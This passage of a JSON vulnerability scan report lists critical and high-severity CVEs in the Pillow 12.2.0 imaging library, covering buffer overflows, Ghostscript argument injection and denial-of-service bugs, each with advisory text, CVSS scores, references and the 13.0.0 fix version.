[ "GHSA-332p-7hrc-92wf" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112393", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7e074fa44bc0ace82045886f0b0f394f524ba03f742d7a2823dbc9a9fb278565", "Title": "pillow: Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO", "Description": "Pillow is a Python imaging library. From 2.0.0 until 13.0.0, Pillow has a heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data through libtiff to a target without a usable fileno(), such as BytesIO. The callback sizes its allocation from the prior buffer size instead of the current write position, allowing an attacker-controlled out-of-line TIFF tag or retained ICC profile to be copied beyond the allocation after libtiff seeks forward. This overflow can crash the process and may allow code execution. Independently, unwritten alignment gaps in compressed TIFF output larger than 64 KiB can disclose stale heap bytes without a crafted tag. File paths and targets with real file descriptors are unaffected. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112393", "https://advisory.echohq.com/cve/CVE-2026-112393", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-13350/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf", "https://linux.oracle.com/cve/CVE-2026-112393.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112393", "https://www.cve.org/CVERecord?id=CVE-2026-112393" ], "PublishedDate": "2026-10-19T21:17:07.613Z", "LastModifiedDate": "2026-10-26T21:01:35.733Z" }, { "VulnerabilityID": "CVE-2026-112398", "VendorIDs": [ "GHSA-5x8w-8jj5-q52h" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112398", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:620518a0386bf14af241a952f962451dc08da96ee7148f349e5560e6fb3cb0eb", "Title": "pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized JPEG mode can be decoded as JCS_UNKNOWN with four components, causing ImagingJpegDecode to write four-component scanlines into the two-byte tile buffer. An attacker can supply a crafted OLE2 FlashPix file to an application with the optional olefile dependency installed that opens or thumbnails untrusted input. This can corrupt heap memory and may allow arbitrary code execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122", "CWE-787" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 3, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112398", "https://advisory.echohq.com/cve/CVE-2026-112398", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h", "https://linux.oracle.com/cve/CVE-2026-112398.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112398", "https://www.cve.org/CVERecord?id=CVE-2026-112398" ], "PublishedDate": "2026-10-19T22:17:07.107Z", "LastModifiedDate": "2026-10-27T21:01:25.823Z" }, { "VulnerabilityID": "CVE-2026-112403", "VendorIDs": [ "GHSA-8g5g-8vmr-9782" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112403", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bb2b7ee1321b869cc88750dcb15552bacd0f7587b3f5044bcddad14cb2c3ce6c", "Title": "pillow: Pillow: Heap buffer overflow in ImagingJpegDecode", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "nvd": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112403", "https://advisory.echohq.com/cve/CVE-2026-112403", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782", "https://nvd.nist.gov/vuln/detail/CVE-2026-112403", "https://www.cve.org/CVERecord?id=CVE-2026-112403" ], "PublishedDate": "2026-10-19T22:17:07.77Z", "LastModifiedDate": "2026-10-27T15:00:15.043Z" }, { "VulnerabilityID": "CVE-2026-112900", "VendorIDs": [ "GHSA-w889-685w-c8fh" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112900", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4e5976764c3f176191727859a80022e72767422c189ea424751e66bec628c6e6", "Title": "pillow: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE", "Description": "Pillow is a Python imaging library. From 2.6.0 until 13.0.0, Pillow is vulnerable to argument injection when invoking Ghostscript for EPS input. EpsImagePlugin.Ghostscript passes a caller-controlled input filename after -f without converting it to a safe absolute path, so a name beginning with a hyphen can be interpreted as a Ghostscript option. An attacker who controls the filename can inject Ghostscript arguments. Arbitrary command execution specifically requires a leading @ argument-file filename and control of the referenced text file containing additional Ghostscript arguments; the reported chain reproduces with the default -dSAFER invocation. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-78", "CWE-88" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112900", "https://advisory.echohq.com/cve/CVE-2026-112900", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-11431/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh", "https://linux.oracle.com/cve/CVE-2026-112900.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112900", "https://www.cve.org/CVERecord?id=CVE-2026-112900" ], "PublishedDate": "2026-10-19T22:17:10.16Z", "LastModifiedDate": "2026-10-27T14:55:00.937Z" }, { "VulnerabilityID": "CVE-2026-96639", "VendorIDs": [ "GHSA-v9pv-5gc8-w2m6" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96639", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e812840741f805021c0f4c9ec0256417509da18d09db08ed5398f86931678271", "Title": "pillow: Pillow multi-frame loaders can reuse stale native image storage after mode transitions", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "redhat": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96639", "https://advisory.echohq.com/cve/CVE-2026-96639", "https://github.com/advisories/GHSA-v9pv-5gc8-w2m6", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a", "https://github.com/python-pillow/Pillow/pull/10105", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6", "https://nvd.nist.gov/vuln/detail/CVE-2026-96639", "https://www.cve.org/CVERecord?id=CVE-2026-96639" ], "PublishedDate": "2026-10-21T21:20:32.217Z", "LastModifiedDate": "2026-10-29T11:17:39.023Z" }, { "VulnerabilityID": "CVE-2026-112390", "VendorIDs": [ "GHSA-22hg-r758-rrw9" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112390", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d6a118ed44b0eef2be8cedc53641cf760fbbc4b223ab875f070b163d74a1dff4", "Title": "pillow: Pillow: Denial of Service via infinite loop during crafted MIC image parsing", "Description": "Pillow is a Python imaging library. From 7.2.0 until 13.0.0, Pillow can enter an infinite loop while determining the frame count of a MIC image. MicImageFile inherits TIFF frame traversal, but MicImageFile.tell reports the OLE stream index and its seek() resets TIFF frame state, so an embedded TIFF with at least three IFDs never advances. When an application with olefile installed reads n_frames or saves all frames from a crafted MIC file, the non-advancing traversal can hold a worker at full CPU indefinitely. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112390", "https://advisory.echohq.com/cve/CVE-2026-112390", "https://getsafety.com/v/SFTY-20261021-15476/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112390", "https://www.cve.org/CVERecord?id=CVE-2026-112390" ], "PublishedDate": "2026-10-19T21:17:07.34Z", "LastModifiedDate": "2026-10-23T17:01:18.697Z" }, { "VulnerabilityID": "CVE-2026-112392", "VendorIDs": [ "GHSA-27h8-gf7j-v5hc" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112392", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d2fb94f8254799f974fc1a815ff11a3dfcc7b76bfee1819865d14766a241641b", "Title": "pillow: pillow: Denial of Service via zero-size images in rank filters", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112392", "https://advisory.echohq.com/cve/CVE-2026-112392", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-39022/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc", "https://linux.oracle.com/cve/CVE-2026-112392.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112392", "https://www.cve.org/CVERecord?id=CVE-2026-112392" ], "PublishedDate": "2026-10-19T22:17:06.587Z", "LastModifiedDate": "2026-10-26T20:52:03.5Z" }, { "VulnerabilityID": "CVE-2026-112397", "VendorIDs": [ "GHSA-58r4-6rv3-gfh8" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112397", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c3e93c80ed6a319badee48dad3d864214c802157578b1d77e6632a387f6f468e", "Title": "pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112397", "https://advisory.echohq.com/cve/CVE-2026-112397", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8", "https://linux.oracle.com/cve/CVE-2026-112397.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112397", "https://www.cve.org/CVERecord?id=CVE-2026-112397" ], "PublishedDate": "2026-10-19T22:17:06.97Z", "LastModifiedDate": "2026-10-27T21:00:11.173Z" }, { "VulnerabilityID": "CVE-2026-112399", "VendorIDs": [ "GHSA-5xm2-6676-qcp9" ], "PkgName": 